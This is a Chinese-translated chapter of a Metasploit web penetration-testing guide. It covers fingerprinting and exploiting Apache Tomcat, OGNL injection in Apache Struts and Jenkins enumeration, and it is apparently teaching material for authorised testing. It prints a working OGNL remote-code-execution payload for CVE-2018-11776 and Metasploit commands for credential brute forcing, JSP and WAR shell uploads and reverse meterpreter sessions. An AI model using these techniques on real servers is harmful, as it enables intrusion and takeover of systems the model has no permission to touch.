Metasploit-Web-渗透测试实用指南-三-

105 阅读1小时+

Metasploit Web 渗透测试实用指南(三)

原文:annas-archive.org/md5/53B22D5EEA1E9D6C0B08A2FDA60AB7A5

译者:飞龙

协议:CC BY-NC-SA 4.0

第十六章:技术平台的渗透测试- Apache Tomcat

在上一章中,我们学习了如何对JBoss 应用服务器JBoss AS)进行渗透测试。现在让我们看看另一个技术平台,称为Apache Tomcat。Apache Tomcat 软件是在一个开放和参与的环境中开发的,并在 Apache 许可证第 2 版下发布。Apache Tomcat 是一个 Java Servlet 容器,实现了多个核心企业特性,包括 Java Servlets、Java Server PagesJSP)、Java WebSocket 和Java Persistence APIsJPA)。许多组织都有部署在 Apache Tomcat 上的基于 Java 的应用程序。易受攻击的 Apache Tomcat 软件对威胁行为者来说是一个金矿,因为许多支付网关、核心银行应用程序和客户关系管理CRM)平台等都在 Apache Tomcat 上运行。

在本章中,我们将涵盖以下主题:

  • Tomcat 简介

  • Apache Tomcat 架构

  • 文件及其目录结构

  • 检测 Tomcat 安装

  • 版本检测

  • 对 Tomcat 进行利用

  • Apache Struts 简介

  • OGNL 简介

  • OGNL 表达式注入

技术要求

本章的先决条件如下:

Tomcat 简介

Apache Tomcat 软件是一个开源的 Web 服务器,旨在运行基于 Java 的 Web 应用程序。当前版本的 Tomcat 的一些特性包括以下内容:

  • 支持 Java Servlet 3.1

  • JSP 2.3

  • Java 统一表达语言EL)3.0

  • Java WebSocket 1.0

Tomcat 是由许多开发人员在 Apache 项目平台的支持下开发和处理的,根据 Apache 认证 2.0 证书发布,并且是一个开源应用程序。Tomcat 可以作为一个独立产品使用,具有自己的内部 Web 服务器,也可以与其他 Web 服务器一起使用,包括 Apache 和 Microsoft 的Internet Information ServerIIS)。

鉴于 Apache Tomcat 被许多组织使用,应该明智地考虑这个平台的安全性。在撰写本书时,Shodan 已经确定了全球超过 93,000 个 Tomcat 实例(独立和集成在 JBoss 实例中),如下截图所示:

Apache Tomcat 服务器内的漏洞可以允许威胁行为者利用服务器上运行的应用程序,甚至可以超越通用应用程序的利用,最终获取对组织内部网络的访问权限。

Apache Tomcat 架构

Tomcat 可以被描述为一系列不同的功能组件,这些组件根据明确定义的规则组合在一起。以下图表代表了 Tomcat 的结构:

让我们试着理解前面图表中显示的每个组件的作用:

  • 服务器:服务器代表整个 Catalina Servlet 容器。server.xml文件代表 Tomcat 安装的所有特性和配置。

  • 服务:服务是服务器内部包含连接器的组件,这些连接器共享单个容器来处理它们的传入请求。

  • 引擎:引擎接收并处理来自不同连接器的信息,并返回输出。

  • 主机:这是服务器使用的网络或域名。一个服务器可以有多个主机。

  • 上下文:表示 Web 应用程序。在主机上可以有多个具有不同 URL 路径的 Web 应用程序。

  • 连接器:连接器处理客户端和服务器之间的通信。有不同类型的连接器用于处理各种通信;例如,HTTP 连接器用于处理 HTTP 流量,而 AJP 连接器用于使用 AJP 协议与 Apache 通信。

现在我们对 Apache Tomcat 架构有了基本的了解,让我们来看看 Tomcat 服务器上存储的文件和目录的结构。

文件及其目录结构

Tomcat 的文件和目录结构与我们在上一章中讨论的 JBoss 类似。在本节中,我们将快速浏览 Tomcat 的目录结构,如下面的屏幕截图所示:

Tomcat 目录中的子目录可以解释如下:

  • bin:此目录包含服务器初始化时所需的所有脚本,如启动和关闭脚本以及可执行文件。

  • common:这个目录包含 Catalina 和开发人员托管的其他 Web 应用程序可以使用的公共类。

  • conf:这个目录包含用于配置 Tomcat 的服务器 XML 文件和相关的文档类型定义DTD)。

  • logs:这个目录,顾名思义,存储了 Catalina 和应用程序生成的日志。

  • server:这个目录存储仅由 Catalina 使用的类。

  • shared:这个目录存储可以被所有 Web 应用程序共享的类。

  • webapps:这个目录包含所有的 Web 应用程序。

  • work:这个目录代表文件和目录的临时存储。

最有趣的目录之一是webapps目录:

通过导航到webapps目录并列出内容,我们可以查看目录,如前面的屏幕截图所示:

  • ROOT:这是 Web 应用程序的根目录。它包含所有的 JSP 文件和 HTML 页面,客户端 JAR 文件等。

  • docs:此目录包含 Apache Tomcat 的文档。

  • examplesexamples文件夹包含 Servlet、JSP 和 WebSocket 示例,以帮助开发人员进行开发。

  • host-managerhost-manager应用程序允许我们在 Tomcat 中创建、删除和管理虚拟主机。这个目录包含了这个应用程序的代码。

  • managermanager允许我们管理安装在 Apache Tomcat 实例上的 Web 应用程序,以Web 应用程序存档WAR)文件的形式。

对文件和目录结构的清晰理解可以帮助我们在目标 Tomcat 服务器上进行非常有效的侦察。

检测 Tomcat 安装

现在,让我们看看如何检测服务器上是否安装了 Tomcat,以及可以用于进一步侦察的常见检测技术。

通过 HTTP 响应头检测 - X-Powered-By

检测 Apache Tomcat 安装的一种常见方法是查看服务器响应中的X-Powered-By HTTP 头:

典型的安装将在 HTTP 响应头中给出 Apache Tomcat 版本。

通过 HTTP 响应头检测 - WWW-Authenticate

检测 Tomcat 的一种简单方法是请求/manager/html页面。一旦您发出请求,服务器将以 HTTP 代码401 未经授权回复,并附带WWW-Authenticate HTTP 头:

如前面的屏幕截图所示,这个特定的头部将设置为Tomcat Manager Application字符串,通过使用这个头部,我们将能够检测目标服务器是否安装了 Tomcat。

通过 HTML 标签检测 - 标题标签

如果您在打开 Tomcat 实例时看到一个空白页面,您仍然可以通过查看 HTML <title>标签来检测它是否是 Tomcat 页面:

Apache Tomcat字符串在<title>标签之间提到,就像前面的截图中一样。

通过 HTTP 401 未经授权错误检测

Tomcat 安装通常使用 Tomcat Manager Web 应用程序来管理和部署 Web 应用程序。它可以通过URL/manager/html访问。这会产生一个 HTTP 身份验证面板:

单击弹出窗口上的“取消”将给您一个 401 错误,就像前面的截图中一样,这证实了 Tomcat 的存在。

**注意:**这种信息披露只存在于 Tomcat 服务器配置错误的情况下。

通过唯一指纹(哈希)检测

我们在之前的章节中看到,大多数 Web 应用程序可以通过它们的 favicon 来检测。可以比较不同版本的 favicon 的md5哈希来识别正在使用的 Tomcat 的版本:

以下截图显示了 OWASP favicon 数据库列表中的哈希:

我们还可以维护我们的 favicon 数据库,以检查不同版本的 Apache Tomcat 安装。

通过目录和文件检测

安装时,Apache Tomcat 还创建了docsexamples目录,以帮助开发人员进行应用程序开发和部署。默认情况下,文件夹的 URI 如下:

  • /docs/

  • /examples/

我们还可以使用 SecLists (github.com/danielmiessler/SecLists)来枚举 Tomcat 中的敏感文件:

前面的截图显示了可以用来识别安装了 Tomcat 的实例的不同文件和文件夹。在下一节中,我们将解决如何识别 Tomcat 安装的版本号。

版本检测

一旦我们确认服务器正在运行 Tomcat,下一步是建立版本信息。在本节中,我们将看一些检测现有 Tomcat 安装的版本号的方法。

通过 HTTP 404 错误页面检测版本

默认情况下,Tomcat 的 404 错误页面会披露它正在运行的版本号,所以我们只需要访问服务器上不存在的 URL,服务器应该会返回一个错误页面,如下面的截图所示:

许多管理员实际上并没有隐藏披露版本号的 Web 服务器横幅。攻击者可以利用这些信息从其库中找到公开或零日利用来访问服务器。

通过 Release-Notes.txt 披露版本信息

Tomcat 还有一个Release-Notes.txt文件,其中包含有关该版本的增强功能和已知问题的详细信息。该文件还向威胁行为者披露了 Apache Tomcat 服务器的版本号:

发布说明的第一行包含版本信息,就像前面的截图中一样。

通过 Changelog.html 披露版本信息

除了Release-Notes.txt之外,还有一个Changelog.html文件,该文件在页面上披露了版本号,如下所示:

现在我们可以继续下一步,即利用 Tomcat 安装。

利用 Tomcat

在本节中,我们将看一下如何执行对 Tomcat 的易受攻击版本的利用。我们将涵盖各种技术,包括上传WAR shell和 JSP 上传绕过。

在 Metasploit 上使用search命令查找 Tomcat 将为我们提供一些可用的模块,如下所示:

我们将使用最基本的模块,它将暴力破解 Tomcat Manager 并给我们凭据:

  1. 要加载模块,我们可以使用以下命令:
use auxiliary/scanner/http/tomcat_mgr_login
  1. 在使用模块之前,了解模块的工作原理总是一个好习惯。牢记这一点,渗透测试人员可以在有Web 应用程序防火墙WAF)的情况下调整模块。模块加载后,我们可以使用show options命令来查看测试人员需要填写的选项(如下截图所示):

  1. 通过查看选项,我们可以看到它要求填写 Tomcat 安装的 IP(RHOSTS)和端口(RPORT),以及用于暴力破解凭据的字典。我们使用run命令来执行模块,如下所示:

  1. 我们将得到一个正确的登录/密码组合的登录成功消息,如下所示:

利用默认密码漏洞访问服务器是利用 Apache Tomcat 的最常见方式之一。如果攻击者使用默认密码获得访问权限,甚至不需要花费大量精力来查找不同的易受攻击的端点。

Apache Tomcat JSP 上传绕过漏洞

影响 Tomcat 7.x、8.x 和 9.x 以及 TomEE 1.x 和 7.x 的 JSP 上传绕过漏洞。该漏洞涉及使用PUT方法绕过文件名过滤器上传 JSP 文件。此外,Metasploit 模块也可用于此漏洞利用。让我们通过执行以下命令来使用该模块:

use exploit/multi/http/tomcat_jsp_upload_bypass

以下截图显示了上述命令的输出:

设置RHOSTS值并使用run命令执行模块如下截图所示:

正如您在以下截图中所看到的,这个 Metasploit 模块将首先使用 HTTP 的PUT方法来上传一个带有.jsp扩展名后面跟着/(斜杠)的 JSP 文件。如果 Apache Tomcat 实例以 HTTP 201(已创建)代码回应,这意味着文件已成功上传到服务器:

文件被上传的原因是 Tomcat 服务器存在文件上传限制漏洞(仅限特定版本),如果文件扩展名为 JSP,则会过滤文件。使用这个斜杠,我们可以绕过这个限制来上传一个恶意的基于 JSP 的 Web shell。在这种情况下,有效载荷文件被使用PUT方法发送到目标服务器,如下截图所示:

如前所述,在成功上传的情况下,服务器将返回 HTTP 201代码。

一旦有效载荷文件被上传,Metasploit 模块将请求相同的文件名来执行我们的有效载荷:

成功执行有效载荷后,我们将得到一个通用 shell:

在利用 JSP 上传绕过后,我们并不总是需要获得root(特权)shell。还有更多的情况需要我们从普通用户升级到root

Tomcat WAR shell 上传(经过身份验证)

假设我们有 Apache Tomcat 实例的凭据(可能是通过窃听/嗅探或从包含敏感信息的文件中获得)。用户可以通过将打包的 WAR 文件上传到 Apache Tomcat 实例来运行 Web 应用程序。在本节中,我们将上传一个 WAR 文件以获得绑定/反向 shell 连接。请注意,WAR shell 上传需要身份验证才能工作;否则,服务器将以 HTTP 401(未经授权)代码回应:

  1. 首先,让我们请求/manager/html页面。服务器将要求进行 HTTP 身份验证:

  1. 一旦经过身份验证,页面将被重定向到/manager/status,如下图所示:

  1. 单击“列出应用程序”将列出由此 Apache Tomcat 实例管理的所有已安装应用程序:

  1. 在同一页向下滚动,我们会找到一个“部署”部分,在这里我们可以通过 URL 部署服务器上的 WAR,或者通过上传我们自己的 WAR 文件来部署:

  1. 我们可以从页面的 WAR 文件部署部分向服务器上传 WAR 文件(redteam.war)。单击“部署”按钮将部署我们的 WAR 文件。在成功部署 WAR 后,我们的应用程序将安装在 Apache Tomcat 服务器上,我们可以从“列出应用程序”选项中查看(如前所述):

  1. 在上面的屏幕截图中,我们的 WAR 文件已部署。现在,我们只需要正常从浏览器访问我们的 JSP shell,并将要执行的命令作为参数的值传递(如下图所示):

使用 Metasploit 也可以实现相同的过程。使用 Metasploit 中的tomcat_mgr_upload模块,我们可以上传一个 WAR shell。让我们通过在msfconsole中执行以下命令来使用这个模块:

use exploit/multi/http/tomcat_mgr_upload

以下屏幕截图显示了前面命令的输出:

由于这是一个经过身份验证的机制,我们需要提供 HTTP 身份验证的凭据。让我们执行这个模块,以便 Metasploit 可以上传 WAR 文件并在服务器上执行有效载荷:

如前面的屏幕截图所示,模块已成功通过服务器进行了身份验证,并上传了一个 WAR 文件(ymRRnwH.war)。上传后,模块调用了 WAR 文件中打包的 JSP 有效载荷,并执行它以获得反向meterpreter连接:

在执行tomcat_mgr_upload模块时,meterpreter检查以下步骤:

  1. Metasploit 模块检查凭据是否有效。

  2. 如果它们是有效的,模块将从服务器响应中获取org.apache.catalina.filters.CSRF_NONCE的值(CSRF 令牌)。

  3. 然后,该模块尝试通过 HTTP POST方法(无需身份验证)上传 WAR 有效载荷。

  4. 如果前面的步骤失败,模块将使用提供的凭据上传 WAR 文件(POST/manager/html/upload)。

  5. 上传成功后,模块将从服务器请求 JSP meterpreter文件,导致打开了meterpreter连接(在这种情况下是一个反向连接)。

注意:

我们已经上传并执行了meterpreter shell 以获得反向连接。有些情况下,反向连接是不可能的。在这些情况下,我们可以总是寻找绑定连接,或者通过 HTTP 隧道meterpreter会话。

现在我们知道了如何将 WAR shell 上传到 Apache Tomcat 实例,以及如何利用一些漏洞,让我们继续进行对 Apache Tomcat 实例执行的攻击的下一级别。

Apache Struts 简介

Apache Struts 是一个免费的开源框架,遵循 MVC 架构,用于开发基于 Java 的 Web 应用程序。它使用 Java Servlet API。它最初是由 Craig McClanahan 创建的,并于 2000 年 5 月捐赠给 Apache 基金会。Apache Struts 2 的第一个完整版本发布于 2007 年。

在本节中,我们将看一下 Apache Struts 中发现的一些漏洞。

了解 OGNL

对象图标记语言OGNL)是一种 EL,它简化了存储在ActionContext中的数据的可访问性。ActionContext是一个包含了执行操作所需的对象的容器。OGNL 在 Apache Struts 2 中有很强的关联,并用于将表单参数存储为 ValueStack 中的 Java Bean 变量。ValueStack是一个存储区,用于存储数据以处理客户端请求。

OGNL 表达式注入

当未经过滤的用户输入传递给 ValueStack 进行评估时,就会发生 OGNL 表达式注入。在本节中,我们将尝试理解表达式注入查询,并查看一个利用示例。

以下屏幕截图显示了一个使用 Struts 2 的易受攻击的 Web 应用程序的示例,该应用程序易受 CVE-2018-11776 的攻击:

让我们尝试手动利用这个 Struts 漏洞(CVE-2018-11776),采取以下步骤:

  1. 当您转到菜单栏中的 Configuration | Action Chaining 时,您会注意到以下请求被发送到服务器:

  1. 然后服务器返回以下响应:

  1. 现在,我们将actionchaining字符串替换为其他内容,例如Testing123,就像我们在以下屏幕截图中所做的那样:

  1. 当我们这样做时,服务器会处理我们的Testing123字符串,并用相同的字符串做出响应:

  1. 要测试诸如 OGNL 之类的表达式语言注入,我们需要使用${..}%{..}语法。OGNL 将处理包含在${..}%{..}中的任何内容。因此,为了进行简单的测试,让我们使用${123*123}%{123*123}字符串:

  1. 由于代码位于以$%开头的括号中,服务器将其处理为 OGNL 表达式,并以以下屏幕截图中显示的结果做出响应:

现在我们已经成功确认了前面测试案例中的漏洞,让我们了解如何在执行进程上进行 OGNL 注入时,如何注入有效负载并绕过沙箱(如果有的话)。

测试 OGNL 注入的远程代码执行

为了测试漏洞,我们将使用以下有效负载:

${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

在分解有效负载之前,让我们了解一些关于 OGNL 的东西,这将帮助我们更好地理解有效负载:

运算符描述
${..} or %{..}一个 OGNL 表达式块。
(e)一个带括号的表达式。
e.method(args)方法调用的语法。
e.property调用属性的语法。
e1[e2]数组索引。
[e]数组索引引用。
#variable上下文变量引用。
@class@method(args)静态方法引用。
{e1,e2,e3,..}列表创建-逗号(,)的用法与分号(;)相同,用于结束语句。
e1.(e2)子表达式评估。

现在,让我们通过参考前面的表来分解先前提到的有效负载。

在以前的 Struts 版本中,_memberAccess对象用于控制 OGNL 的操作,但在后来的版本中,_memberAccess对象甚至受到了对构造函数调用的限制。这是由于excludedClassesexcludedPackageNamesexcludedPackageNamePatterns黑名单,拒绝访问特定的类和包。即使_memberAccess对象是可访问的,对该对象也施加了严格的限制。

要绕过这样的限制,在 Struts 版本 2.3.20-2.3.29 中,我们只需用DefaultMemberAccess对象(SecurityMemberAccess类中的可访问静态对象)替换_memberAccess对象,这将允许我们控制 OGNL 的操作而没有任何限制。

因此,负载的第一行用于通过将上下文从_memberAccess更改为DefaultMemberAccess来绕过对_memberAccess对象的限制:

${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

在上述代码中,OgnlContext是一个类,根据 Apache Common OGNL 表达式参考(commons.apache.org/proper/commons-ognl/apidocs/org/apache/commons/ognl/OgnlContext.html)定义了 OGNL 表达式的执行上下文。

现在上下文已从_memberAccess更改为DefaultMemberAccess,我们可以使用setMemberAccess方法设置MemberAccess。但是,为了访问对象,我们首先需要清除黑名单(excludedClassesexcludedPackageNamesexcludedPackageNamePatterns)。我们可以通过恢复到原始上下文来清除黑名单,如我们负载的下一行突出显示所示:

${(*#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS*).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

由于我们还没有上下文,我们需要检索上下文映射,可以通过访问ActionContext.container来完成。现在可以访问此容器,因为我们已经从struts.valueStack请求了上下文。请参考我们负载的以下突出显示行:

${(*#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS*).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

现在我们已经可以访问上下文映射(请参考我们负载的第一行突出显示),我们现在可以清除黑名单,以便访问DefaultMemberAccess对象,该对象没有限制。我们的负载的第二行突出显示行就是这样做的:

${(*#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS*).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

一旦clear()方法被处理并且我们已经清除了黑名单,我们现在可以使用setMemberAccess()方法设置为DEFAULT_MEMBER_ACCESS来设置MemberAccess。请参考负载中的以下突出显示文本:

${(*#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS*).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

现在我们已经可以访问DEFAULT_MEMBER_ACCESS对象,我们可以从 Java 常用实用程序包中调用任何类、方法和对象来在 OGNL 中运行。在这种情况下,我们将使用Runtime().exec()方法来执行我们的命令(#a=@java.lang.Runtime@getRuntime().exec('id')),并且为了在响应中打印命令执行输出,我们将使用getinputStream()方法,如负载的最后两行所示:

${(*#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS*).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

现在我们对负载有了更好的理解,让我们在请求中使用负载,如下面的屏幕截图所示:

服务器将处理 OGNL 表达式,并在允许访问DEFAULT_MEMBER_ACCESS对象后,将调用我们的Runtime().exec()方法,该方法将执行我们的命令:

'id'命令的输出将打印在Location HTTP 响应头中,如前面的屏幕截图所示。现在我们已经了解了 OGNL 表达式及其手动利用,让我们尝试使用 Metasploit 来利用它。

通过 OGNL 注入测试盲远程代码执行

这是一个不同的情景,服务器对 Apache Struts 2 远程代码执行RCE)漏洞存在漏洞,但由于某种原因,代码执行响应被隐藏了。在这种情况下,我们仍然可以通过使用sleep()函数来确认 RCE 漏洞。类似于时间基本的 SQL 注入中使用的sleep()函数,我们可以使用此函数来检查响应时间。我们已经执行了sleep()函数 2,000 毫秒,如下面的屏幕截图所示:

要确认漏洞,我们只需查看服务器的响应时间,即服务器处理请求并发送响应的时间。对于这种情况,我们执行了sleep()函数 2,000 毫秒,服务器在 2,010 毫秒内响应了请求,如下面的屏幕截图所示:

我们应该始终通过更改时间为不同的值来检查漏洞的存在。

测试 OGNL 带外注入

确认漏洞的另一种方法是执行与我们放置在组织外的自己的服务器进行交互的命令。要检查 OGNL 带外 (OOB)注入,我们可以执行一个简单的ping命令,如下截图所示:

在将有效载荷发送到服务器之前,我们需要使用tcpdump在服务器的公共接口上进行监听。我们可以执行tcpdump icmp host <ip>命令来过滤服务器上的 ICMP echo requestecho reply数据包。我们需要这样做,这样当我们执行有效载荷时,我们可以在服务器上收到ping的 echo request,就像下面的截图中一样:

对于 OOB 交互,我们可以尝试不同的协议,如 HTTP、FTP、SSH 和 DNS。如果我们无法获得输出(盲目),并且要检查是否可能获得反向 shell 连接,那么 OOB 注入会有所帮助。

使用 Metasploit 进行 Struts 2 利用

现在我们已经手动利用了 Struts 2 的漏洞并清楚地理解了相关概念,我们将看到使用 Metasploit 利用相同漏洞有多么容易。使用 Metasploit 可以使利用变得更加容易。我们可以通过以下步骤搜索 Struts 上所有可用的模块:

  1. 在 Metasploit 控制台中搜索struts,如下所示:

  1. 以下是一个运行 Apache Struts 的演示 Web 应用程序。该应用程序容易受到S2-013漏洞(CVE-2013-1966)的影响。让我们看看如何使用 Metasploit 来利用这个漏洞:

  1. 我们通过在msfconsole中输入以下命令来加载 Metasploit exploit:
use/exploit/multi/http/struts_include_params
  1. 通过输入show options命令,我们可以看到可用的选项,如下所示:

设置选项并运行 exploit 将给我们命令 shell。如果没有反向 shell 连接,我们需要执行简单的出站连接测试,以检查目标服务器是否允许所有端口的连接。如果防火墙阻止了出站连接,我们可以尝试通过 HTTP 隧道获取绑定连接。

总结

在本章中,我们介绍了 Tomcat 的基础知识,并了解了其架构和文件结构。然后,我们转向了识别 Tomcat 和检测版本号的不同技术。接下来,我们看了 JSP 和 WAR shell 上传的 Tomcat 利用。在本章的最后,我们介绍了 Apache Struts、OGNL 和 Tomcat 的利用。

在下一章中,我们将学习如何对另一个著名的技术平台 Jenkins 进行渗透测试。

问题

  1. 在黑盒渗透测试的情况下,我们如何公开识别 Tomcat 服务器?

  2. **Changelog.html**文件是否总是存在于 Apache Tomcat 服务器上?

  3. 我已成功将 JSP shell 上传到 Apache Tomcat 服务器。然而,我无法访问它。可能是什么问题?

  4. 我发现了一个 OGNL OOB 注入。我该如何进一步利用这个漏洞?

进一步阅读

以下链接可用作进一步了解 Apache Tomcat 和 CVE 2019-0232 的参考:

第十七章:技术平台上的渗透测试 - Jenkins

在之前的章节中,我们看了如何利用 JBoss 和 Apache Tomcat。在本章中,我们将看看 Jenkins。Jenkins 是一个流行的工具,用于自动化软件开发过程中的非人工部分。在企业对消费者B2C)关系中,公司提供诸如电子支付、电子商务、在线手机和卫星充值计划等服务给消费者,开发人员承担着重要的工作。由于在分期和生产服务器上频繁更新,环境对开发人员来说变得复杂。为了更有效地处理软件更新并能够及时发布它们,公司将选择使用一个平台引擎来尝试帮助管道化更新并轻松管理它们。

Jenkins 是这样一个平台引擎。它处理需要在不同时间部署到不同服务器上的源代码的部署和管理。由于 Jenkins 在管理公司的源代码时处理敏感信息,因此它是那些专注于工业间谍活动的人的热门目标。一旦威胁行为者能够访问 Jenkins 平台,他们就可以访问组织提供的服务的源代码(蓝图)。

作为渗透测试人员,我们必须确保客户组织的实例(如 Jenkins)已经完全打补丁。在本章中,我们将探讨以下主题:

  • Jenkins 简介

  • Jenkins 术语

  • Jenkins 侦察和枚举

  • 利用 Jenkins

让我们开始吧!

技术要求

以下是本章的技术要求:

Jenkins 简介

Jenkins 是一个开源工具。它是使用 Java 构建的,可以通过插件实现持续集成。例如,如果我们想要集成 Git,我们需要安装 git 插件。Jenkins 支持数百种插件,几乎与每种工具兼容。它这样做是为了确保持续集成CI)和持续交付CD)。

以下是 Jenkins 的一些关键特性:

  • 提供 CI 和 CD

  • 基于插件的架构

  • 可扩展

  • 分布式

  • 易于配置

Jenkins 术语

在我们深入研究如何枚举和利用 Jenkins 之前,我们需要了解一些基本术语,这些术语可能会在本章的后面部分出现。

Stapler 库

Stapler 是 Jenkins 使用的一个库,它允许对象自动映射到 URL。它解决了在复杂应用程序中映射相对 URL 的问题,例如表达式语言EL)(www-106.ibm.com/developerworks/java/library/j-jstl0211.html)。它接受一个对象和一个 URL,然后根据对象评估 URL。它重复这个过程,直到找到静态资源、视图(如 JSP、Jelly、Groovy 等)或操作方法。以下图表更详细地显示了这个过程:

(来源:stapler.kohsuke.org/what-is.html

如前图所示,根对象映射到 URL,而每个其他对象都映射为单独的路径,直到找到资源。

URL 路由

Jenkins 使用 URL 路由来处理 URL 路径;让我们来看一下:

  • 模型:

getLog()将遍历到/log/

getJob("foo")将被遍历为/job/foo

  • 操作方法

doArtifact(...) action in getJob("foo")将变成/job/foo/1/artifact,其中 1 是动态获取器。

Apache Groovy

Apache Groovy 是一种多功能的编程语言,支持静态类型和静态编译。用户在这里需要记住的关键点是 Groovy 支持运行时和编译时的元编程。

元编程

元编程是一种允许计算机程序将其他程序视为其输入数据的技术。因此,程序可以被设计为读取/写入/修改其他程序,甚至是自身。如果一个程序只是报告自身,这被称为内省,而如果程序修改自身,则被称为反射。许多语言支持元编程 - PHP、Python、Apache Groovy 和编译器是一些例子。

让我们尝试通过一个例子进一步理解:

#!/bin/sh
echo '#!/bin/sh' > program1

for i in $(sequence 500)

do

echo "echo $i" >> program1

done

chmod +x program

正如您所看到的,前面的程序创建了另一个程序programs,它打印数字1-500

抽象语法树

抽象语法树AST)是程序的结构和内容相关细节的表示。它不包括不必要的标点和分隔符。编译器使用 AST 进行解析、类型解析、流分析和代码生成。

管道

Jenkins 管道是一组一起工作并帮助进行持续交付的插件的组合。管道可以作为 JenkinsFile 的代码实现,并且可以使用领域特定语言DSL)进行定义。Jenkins 中的管道是用 Groovy 构建的。

Jenkins 侦察和枚举

对 Jenkins 进行枚举是渗透测试的一个非常重要的方面。在执行侦察和枚举时检索到的活动信息可以帮助渗透测试人员利用 Jenkins 实例。

有几种方法可以确定 Jenkins 的安装和版本检测过程。我们现在将介绍这些,然后讨论如何利用 Jenkins。

使用网站图标哈希检测 Jenkins

Jenkins 有一个非常独特的网站图标,当转换为哈希形式时,变成了81586312。这个哈希可以用来识别 Jenkins 安装;甚至可以在 Shodan 上用来识别运行 Jenkins 的系统。

以下截图显示了哈希值如何用于识别 Jenkins:

我们还可以使用不同的 Jenkins HTTP 响应头来找到 Jenkins 实例。例如,要找到特定版本的 Jenkins,我们可以使用X-Jenkins头,如下图所示:

让我们看看其他 HTTP 响应头可以用来识别 Jenkins 实例。

使用 HTTP 响应头检测 Jenkins

检测 Jenkins 实例最常见的方法之一是分析 HTTP 响应头。Jenkins 将大量信息放入其响应头中,例如版本披露信息、命令行接口CLI)端口、用户和组权限等,所有这些都可以用于进一步的利用。以下是 Jenkins 实例的响应头截图:

以下是一些可以用于检测 Jenkins 实例的 HTTP 服务器响应头:

  • X-Hudson

  • X-Jenkins

  • X-Jenkins-Session

  • X-You-Are-Authenticated-As

  • X-You-Are-In-Group-Disabled

  • X-Required-Permission

  • X-Permission-Implied-By

  • X-Hudson-CLI-Port

  • X-Jenkins-CLI-Port

  • X-Jenkins-CLI2-Port

  • X-SSH-Endpoint

  • X-Hudson-JNLP-Port

  • X-Jenkins-JNLP-Port

  • X-Jenkins-JNLP-Host

  • X-Instance-Identity

  • X-Jenkins-Agent-Protocols

现在我们已经学会了一些手动检测 Jenkins 的常见方法,让我们继续进行渗透测试的下一个阶段 - 枚举。

使用 Metasploit 进行 Jenkins 枚举

现在我们已经介绍了手动枚举 Jenkins 的方法,让我们继续看看 Metasploit 框架的辅助jenkins_enum,它可以进一步进行枚举。

Metasploit 模块还有一个辅助程序,使用与前一节描述的方法类似的方法来执行 recon。这包括查找响应头值,即X-Jenkins,以及关键字的 HTML 源。可以使用以下命令加载辅助程序:

use auxiliary/scanner/http/jenkins_enum

以下截图显示了上述命令的输出:

在上述截图中设置选项后,运行辅助程序将检测版本号,并执行基本检查:

现在,我们可以深入一点,检查辅助程序的源代码,以了解脚本到底在做什么。通过查看以下截图,我们可以看到脚本检查以下内容:

  • /view/All/newJobs:显示作业列表

  • /asynchPeople:显示用户列表

  • /systemInfo:打印系统信息:

以下命令显示 Metasploit 中的另一个辅助程序,允许我们暴力破解 Jenkins 的凭据:

auxiliary/scanner/http/jenkins_login

以下截图显示了上述命令的输出:

在设置了所需的选项并运行模块之后,我们将看到辅助程序返回有效的凭据。这可以在以下截图中看到:

现在让我们在下一节中探索 Jenkins。

利用 Jenkins

